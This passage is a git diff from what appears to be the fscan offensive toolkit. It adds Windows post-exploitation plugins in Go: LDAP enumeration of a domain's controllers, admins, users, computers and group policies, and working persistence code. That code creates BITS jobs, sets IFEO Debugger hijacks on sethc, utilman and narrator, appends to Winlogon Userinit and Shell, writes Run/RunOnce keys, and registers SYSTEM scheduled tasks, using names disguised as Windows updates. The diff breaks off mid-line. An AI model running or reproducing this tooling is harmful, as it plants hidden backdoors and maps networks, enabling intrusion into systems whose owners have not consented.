-// runCommand 执行命令 - 简单包装,无复杂错误处理 func (p *SystemInfoPlugin) runCommand(name string, args ...string) (string, error) { - cmd := exec.Command(name, args...) - output, err := cmd.Output() - return string(output), err + out, err := exec.Command(name, args...).Output() + return string(out), err } -// fileExists 检查文件是否存在 -func (p *SystemInfoPlugin) fileExists(path string) bool { - _, err := os.Stat(path) - return err == nil -} - -// logPlatformInfo 输出平台特定信息到控制台 -func (p *SystemInfoPlugin) logPlatformInfo() { - switch runtime.GOOS { - case "windows": - // Windows版本信息 - if output, err := p.runCommand("cmd", "/c", "ver"); err == nil { - common.LogInfo(i18n.Tr("systeminfo_winver", strings.TrimSpace(output))) - } - - // 域信息 - if output, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil { - domain := strings.TrimSpace(output) - if domain != "" && domain != "%USERDOMAIN%" { - common.LogInfo(i18n.Tr("systeminfo_domain", domain)) - } - } - - case "linux", "darwin": - // Unix系统信息 - if output, err := p.runCommand("uname", "-a"); err == nil { - common.LogInfo(i18n.Tr("systeminfo_kernel", strings.TrimSpace(output))) - } - - // 发行版信息(Linux) - if runtime.GOOS == "linux" { - if output, err := p.runCommand("lsb_release", "-d"); err == nil { - common.LogInfo(i18n.Tr("systeminfo_distro", strings.TrimSpace(output))) - } else if p.fileExists("/etc/os-release") { - common.LogInfo(i18n.GetText("systeminfo_distro_exists")) - } - } - - // whoami - if output, err := p.runCommand("whoami"); err == nil { - common.LogInfo(i18n.Tr("systeminfo_whoami", strings.TrimSpace(output))) - } - } -} - -// 注册插件 func init() { RegisterLocalPlugin("systeminfo", func() Plugin { return NewSystemInfoPlugin() diff --git a/plugins/local/systeminfo_dc_other.go b/plugins/local/systeminfo_dc_other.go new file mode 100644 index 0000000..95f8387 --- /dev/null +++ b/plugins/local/systeminfo_dc_other.go @@ -0,0 +1,5 @@ +//go:build (plugin_systeminfo || !plugin_selective) && !windows && !no_local + +package local + +func (p *SystemInfoPlugin) collectDomainInfo() {} diff --git a/plugins/local/systeminfo_dc_windows.go b/plugins/local/systeminfo_dc_windows.go new file mode 100644 index 0000000..8dcb55b --- /dev/null +++ b/plugins/local/systeminfo_dc_windows.go @@ -0,0 +1,232 @@ +//go:build (plugin_systeminfo || !plugin_selective) && windows && !no_local + +package local + +import ( + "fmt" + "net" + "os/exec" + "strings" + + "github.com/go-ldap/ldap/v3" + "github.com/go-ldap/ldap/v3/gssapi" + "github.com/shadow1ng/fscan/common" +) + +type domainInfo struct { + Domain string + BaseDN string + LDAPConn *ldap.Conn +} + +func (p *SystemInfoPlugin) collectDomainInfo() { + domain := p.detectDomain() + if domain == "" { + return + } + + p.logSuccess("systeminfo_dc_detected", domain) + + conn, err := p.connectToDomain(domain) + if err != nil { + p.log("systeminfo_dc_connect_failed", err.Error()) + return + } + defer func() { + if conn.LDAPConn != nil { + _ = conn.LDAPConn.Close() + } + }() + + p.log("systeminfo_dc_basedn", conn.BaseDN) + + p.queryDomainBasicInfo(conn) + p.queryDomainControllers(conn) + p.queryDomainAdmins(conn) + p.queryDomainUsers(conn) + p.queryDomainComputers(conn) + p.queryGroupPolicies(conn) +} + +func (p *SystemInfoPlugin) detectDomain() string { + // PowerShell + if out, err := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain").Output(); err == nil { + domain := strings.TrimSpace(string(out)) + if domain != "" && !strings.EqualFold(domain, "WORKGROUP") { + return domain + } + } + // wmic + if out, err := exec.Command("wmic", "computersystem", "get", "domain", "/value").Output(); err == nil { + for _, line := range strings.Split(string(out), "\n") { + if strings.HasPrefix(line, "Domain=") { + domain := strings.TrimSpace(strings.TrimPrefix(line, "Domain=")) + if domain != "" && !strings.EqualFold(domain, "WORKGROUP") { + return domain + } + } + } + } + return "" +} + +func (p *SystemInfoPlugin) connectToDomain(domain string) (*domainInfo, error) { + dcHost, err := p.findDC(domain) + if err != nil { + return nil, err + } + + client, err := gssapi.NewSSPIClient() + if err != nil { + return nil, fmt.Errorf("SSPI: %w", err) + } + defer func() { _ = client.Close() }() + + conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) + if err != nil { + if ipv4, resolveErr := resolveIPv4(dcHost); resolveErr == nil { + conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4)) + } + if err != nil { + return nil, fmt.Errorf("LDAP dial: %w", err) + } + } + + if err := conn.GSSAPIBind(client, fmt.Sprintf("ldap/%s", dcHost), ""); err != nil { + _ = conn.Close() + return nil, fmt.Errorf("GSSAPI bind: %w", err) + } + + baseDN, err := p.getBaseDN(conn, domain) + if err != nil { + _ = conn.Close() + return nil, err + } + + return &domainInfo{Domain: domain, BaseDN: baseDN, LDAPConn: conn}, nil +} + +func (p *SystemInfoPlugin) findDC(domain string) (string, error) { + if out, err := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)).Output(); err == nil { + for _, line := range strings.Split(string(out), "\n") { + if common.ContainsAny(line, "svr hostname", "service") { + parts := strings.Split(line, "=") + if len(parts) > 1 { + host := strings.TrimSpace(parts[len(parts)-1]) + host = strings.TrimSuffix(host, ".") + if host != "" { + return host, nil + } + } + } + } + } + if err := exec.Command("ping", "-n", "1", domain).Run(); err == nil { + return domain, nil + } + return "", fmt.Errorf("cannot find DC for %s", domain) +} + +func (p *SystemInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) { + sr, err := conn.Search(ldap.NewSearchRequest("", ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"defaultNamingContext"}, nil)) + if err == nil && len(sr.Entries) > 0 { + if dn := sr.Entries[0].GetAttributeValue("defaultNamingContext"); dn != "" { + return dn, nil + } + } + var parts []string + for _, p := range strings.Split(domain, ".") { + parts = append(parts, fmt.Sprintf("DC=%s", p)) + } + return strings.Join(parts, ","), nil +} + +func (p *SystemInfoPlugin) queryDomainBasicInfo(conn *domainInfo) { + sr, err := conn.LDAPConn.Search(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"whenCreated", "whenChanged", "msDS-Behavior-Version"}, nil)) + if err != nil { + return + } + if len(sr.Entries) > 0 { + e := sr.Entries[0] + if v := e.GetAttributeValue("whenCreated"); v != "" { + p.log("systeminfo_dc_created", v) + } + if v := e.GetAttributeValue("msDS-Behavior-Version"); v != "" { + p.log("systeminfo_dc_func_level", v) + } + } +} + +func (p *SystemInfoPlugin) queryDomainControllers(conn *domainInfo) { + sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", []string{"cn", "dNSHostName", "operatingSystem"}, nil), 1000) + if err != nil { + return + } + p.logSuccess("systeminfo_dc_controllers", len(sr.Entries)) + for _, e := range sr.Entries { + p.log("systeminfo_dc_controller_detail", e.GetAttributeValue("cn"), e.GetAttributeValue("dNSHostName"), e.GetAttributeValue("operatingSystem")) + } +} + +func (p *SystemInfoPlugin) queryDomainAdmins(conn *domainInfo) { + sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectCategory=group)(cn=Domain Admins))", []string{"member"}, nil), 1000) + if err != nil || len(sr.Entries) == 0 { + return + } + members := sr.Entries[0].GetAttributeValues("member") + p.logSuccess("systeminfo_dc_admins", len(members)) + for _, dn := range members { + userSr, err := conn.LDAPConn.Search(ldap.NewSearchRequest(dn, ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"sAMAccountName", "displayName"}, nil)) + if err == nil && len(userSr.Entries) > 0 { + p.log("systeminfo_dc_admin_detail", userSr.Entries[0].GetAttributeValue("sAMAccountName"), userSr.Entries[0].GetAttributeValue("displayName")) + } + } +} + +func (p *SystemInfoPlugin) queryDomainUsers(conn *domainInfo) { + sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectCategory=person)(objectClass=user))", []string{"sAMAccountName"}, nil), 0) + if err != nil { + return + } + p.log("systeminfo_dc_users", len(sr.Entries)) +} + +func (p *SystemInfoPlugin) queryDomainComputers(conn *domainInfo) { + sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))", []string{"cn", "operatingSystem"}, nil), 0) + if err != nil { + return + } + p.log("systeminfo_dc_computers", len(sr.Entries)) + for _, e := range sr.Entries { + os := e.GetAttributeValue("operatingSystem") + if os != "" { + p.log("systeminfo_dc_computer_detail", e.GetAttributeValue("cn"), os) + } + } +} + +func (p *SystemInfoPlugin) queryGroupPolicies(conn *domainInfo) { + sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=groupPolicyContainer)", []string{"displayName", "cn"}, nil), 1000) + if err != nil { + return + } + p.log("systeminfo_dc_gpos", len(sr.Entries)) + for _, e := range sr.Entries { + if name := e.GetAttributeValue("displayName"); name != "" { + p.log("systeminfo_dc_gpo_detail", name, e.GetAttributeValue("cn")) + } + } +} + +func resolveIPv4(hostname string) (string, error) { + ips, err := net.LookupIP(hostname) + if err != nil { + return "", err + } + for _, ip := range ips { + if ip.To4() != nil { + return ip.String(), nil + } + } + return "", fmt.Errorf("no IPv4 found") +} diff --git a/plugins/local/winbits.go b/plugins/local/winbits.go new file mode 100644 index 0000000..918c9d7 --- /dev/null +++ b/plugins/local/winbits.go @@ -0,0 +1,99 @@ +//go:build (plugin_winbits || !plugin_selective) && windows && !no_local + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" +) + +type WinBITSPlugin struct { + plugins.BasePlugin +} + +func NewWinBITSPlugin() *WinBITSPlugin { + return &WinBITSPlugin{BasePlugin: plugins.NewBasePlugin("winbits")} +} + +func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + pePath := session.Config.WinPEFile + if pePath == "" { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + } + + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) + jobName := fmt.Sprintf("WindowsUpdate_%s", baseName) + + var output strings.Builder + + // 创建任务并提取 GUID + out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput() + if err != nil { + output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n") + return &plugins.Result{Success: false, Output: output.String()} + } + + guid := "" + for _, line := range strings.Split(string(out), "\n") { + if idx := strings.Index(line, "{"); idx != -1 { + if end := strings.Index(line[idx:], "}"); end != -1 { + guid = line[idx : idx+end+1] + break + } + } + } + if guid == "" { + output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n") + return &plugins.Result{Success: false, Output: output.String()} + } + output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n") + + steps := []struct { + desc string + args []string + }{ + {i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}}, + {i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}}, + {i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}}, + {i18n.GetText("winbits_resume_task"), []string{"/resume", guid}}, + } + + successCount := 1 + for _, step := range steps { + out, err := exec.Command("bitsadmin", step.args...).CombinedOutput() + if err != nil { + output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n") + continue + } + output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n") + successCount++ + } + + if successCount >= 3 { + session.LogSuccess(i18n.Tr("winbits_success", jobName)) + } + + return &plugins.Result{ + Success: successCount >= 3, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func init() { + RegisterLocalPlugin("winbits", func() Plugin { + return NewWinBITSPlugin() + }) +} diff --git a/plugins/local/winifeo.go b/plugins/local/winifeo.go new file mode 100644 index 0000000..67be8dd --- /dev/null +++ b/plugins/local/winifeo.go @@ -0,0 +1,76 @@ +//go:build (plugin_winifeo || !plugin_selective) && windows && !no_local + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" +) + +type WinIFEOPlugin struct { + plugins.BasePlugin +} + +func NewWinIFEOPlugin() *WinIFEOPlugin { + return &WinIFEOPlugin{BasePlugin: plugins.NewBasePlugin("winifeo")} +} + +func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + pePath := session.Config.WinPEFile + if pePath == "" { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + } + + absPath, _ := filepath.Abs(pePath) + + // 劫持目标:不常用但系统存在的程序 + targets := []struct { + exe string + desc string + }{ + {"sethc.exe", i18n.GetText("winifeo_sticky_keys")}, + {"utilman.exe", i18n.GetText("winifeo_accessibility")}, + {"narrator.exe", i18n.GetText("winifeo_narrator")}, + } + + var output strings.Builder + var successCount int + + for _, t := range targets { + key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe) + out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() + if err != nil { + output.WriteString(i18n.Tr("local_step_failed", t.desc, strings.TrimSpace(string(out))) + "\n") + continue + } + output.WriteString(i18n.Tr("local_step_success_detail", t.desc, t.exe) + "\n") + successCount++ + } + + if successCount > 0 { + session.LogSuccess(i18n.Tr("winifeo_success", successCount)) + } + + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func init() { + RegisterLocalPlugin("winifeo", func() Plugin { + return NewWinIFEOPlugin() + }) +} diff --git a/plugins/local/winlogon.go b/plugins/local/winlogon.go new file mode 100644 index 0000000..dfb9c2d --- /dev/null +++ b/plugins/local/winlogon.go @@ -0,0 +1,75 @@ +//go:build (plugin_winlogon || !plugin_selective) && windows && !no_local + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" +) + +type WinLogonPlugin struct { + plugins.BasePlugin +} + +func NewWinLogonPlugin() *WinLogonPlugin { + return &WinLogonPlugin{BasePlugin: plugins.NewBasePlugin("winlogon")} +} + +func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + pePath := session.Config.WinPEFile + if pePath == "" { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + } + + absPath, _ := filepath.Abs(pePath) + key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` + + entries := []struct { + name string + value string + desc string + }{ + {"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), i18n.GetText("winlogon_userinit_append")}, + {"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), i18n.GetText("winlogon_shell_append")}, + } + + var output strings.Builder + var successCount int + + for _, e := range entries { + out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput() + if err != nil { + output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") + continue + } + output.WriteString(i18n.Tr("local_step_success", e.desc) + "\n") + successCount++ + } + + if successCount > 0 { + session.LogSuccess(i18n.Tr("winlogon_success", successCount)) + } + + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func init() { + RegisterLocalPlugin("winlogon", func() Plugin { + return NewWinLogonPlugin() + }) +} diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go index ccb5437..c66e3cf 100644 --- a/plugins/local/winregistry.go +++ b/plugins/local/winregistry.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,183 +15,62 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinRegistryPlugin Windows注册表持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现注册表持久化功能 -// - 保持原有功能逻辑 type WinRegistryPlugin struct { plugins.BasePlugin } -// NewWinRegistryPlugin 创建Windows注册表持久化插件 func NewWinRegistryPlugin() *WinRegistryPlugin { return &WinRegistryPlugin{ BasePlugin: plugins.NewBasePlugin("winregistry"), } } -// Scan 执行Windows注册表持久化 - 直接实现 func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - if runtime.GOOS != "windows" { - output.WriteString("Windows注册表持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - - // 从config获取配置 - pePath := config.WinPEFile + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + } + + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) + + entries := []struct { + key string + name string + desc string + }{ + {`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), i18n.GetText("winregistry_current_user_run")}, + {`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), i18n.GetText("winregistry_local_machine_run")}, + {`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), i18n.GetText("winregistry_current_user_runonce")}, + } + + var output strings.Builder + var successCount int + + for _, e := range entries { + out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() + if err != nil { + output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") + continue } + output.WriteString(i18n.Tr("winregistry_step_success", e.desc, e.key, e.name) + "\n") + successCount++ } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + if successCount > 0 { + session.LogSuccess(i18n.Tr("winregistry_success", successCount)) } - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows注册表持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建注册表持久化 - registryKeys, err := p.createRegistryPersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建注册表持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个注册表持久化项:\n", len(registryKeys))) - for i, key := range registryKeys { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, key)) - } - output.WriteString("\n✓ Windows注册表持久化完成\n") - - common.LogSuccess(i18n.Tr("winregistry_success", len(registryKeys))) - return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createRegistryPersistence 创建注册表持久化 -func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var registryEntries []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - registryKeys := []struct { - hive string - key string - valueName string - description string - }{ - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt), - description: "Current User Run Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), - description: "Local Machine Run Key", - }, - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`, - valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt), - description: "Current User RunOnce Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt), - description: "WOW64 Run Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, - valueName: "Shell", - description: "Winlogon Shell Override", - }, - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`, - valueName: "Load", - description: "Windows Load Key", - }, - } - - for _, regKey := range registryKeys { - var regCommand string - var value string - - switch regKey.valueName { - case "Shell": - value = fmt.Sprintf("explorer.exe,%s", absPath) - case "Load": - value = absPath - default: - value = fmt.Sprintf(`"%s"`, absPath) - } - - regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`, - regKey.hive, regKey.key, regKey.valueName, value) - - registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand)) - } - - return registryEntries, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winregistry", func() Plugin { return NewWinRegistryPlugin() diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go index bb9da46..7e2b2c5 100644 --- a/plugins/local/winschtask.go +++ b/plugins/local/winschtask.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,238 +15,75 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinSchTaskPlugin Windows计划任务持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现计划任务持久化功能 -// - 保持原有功能逻辑 type WinSchTaskPlugin struct { plugins.BasePlugin } -// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 func NewWinSchTaskPlugin() *WinSchTaskPlugin { - return &WinSchTaskPlugin{ BasePlugin: plugins.NewBasePlugin("winschtask"), } } -// Scan 执行Windows计划任务持久化 - 直接实现 func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows计划任务持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), - } + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + } + ext := strings.ToLower(filepath.Ext(pePath)) + if ext != ".exe" && ext != ".dll" { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))} } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows计划任务持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建计划任务持久化 - scheduledTasks, err := p.createScheduledTaskPersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建计划任务持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个计划任务持久化项:\n", len(scheduledTasks))) - for i, task := range scheduledTasks { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, task)) - } - output.WriteString("\n✓ Windows计划任务持久化完成\n") - - common.LogSuccess(i18n.Tr("winschtask_success", len(scheduledTasks))) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// createScheduledTaskPersistence 创建计划任务持久化 -func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var scheduledTasks []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) tasks := []struct { - name string - schedule string - description string - modifier string + name string + schedule string + modifier string }{ - { - name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt), - schedule: "DAILY", - modifier: "1", - description: "Daily Windows Update Check", - }, - { - name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt), - schedule: "ONLOGON", - modifier: "", - description: "System Security Scan on Logon", - }, - { - name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt), - schedule: "MINUTE", - modifier: "30", - description: "Network Monitor Every 30 Minutes", - }, - { - name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt), - schedule: "ONSTART", - modifier: "", - description: "System Maintenance Task on Startup", - }, - { - name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt), - schedule: "HOURLY", - modifier: "2", - description: "Background Service Every 2 Hours", - }, - { - name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), - schedule: "ONIDLE", - modifier: "5", - description: "Security Update When System Idle", - }, + {fmt.Sprintf("WindowsUpdateCheck_%s", baseName), "DAILY", "1"}, + {fmt.Sprintf("SystemSecurityScan_%s", baseName), "ONLOGON", ""}, + {fmt.Sprintf("MaintenanceTask_%s", baseName), "ONSTART", ""}, + {fmt.Sprintf("BackgroundService_%s", baseName), "HOURLY", "2"}, } + var output strings.Builder + var successCount int + for _, task := range tasks { - var schTaskCmd string - + args := []string{"/create", "/tn", task.name, "/tr", absPath, "/sc", task.schedule} if task.modifier != "" { - schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`, - task.name, absPath, task.schedule, task.modifier) - } else { - schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`, - task.name, absPath, task.schedule) + args = append(args, "/mo", task.modifier) } + args = append(args, "/ru", "SYSTEM", "/f") - scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd)) + cmd := exec.Command("schtasks", args...) + out, err := cmd.CombinedOutput() + result := strings.TrimSpace(string(out)) + if err != nil { + output.WriteString(i18n.Tr("local_step_failed", task.name, 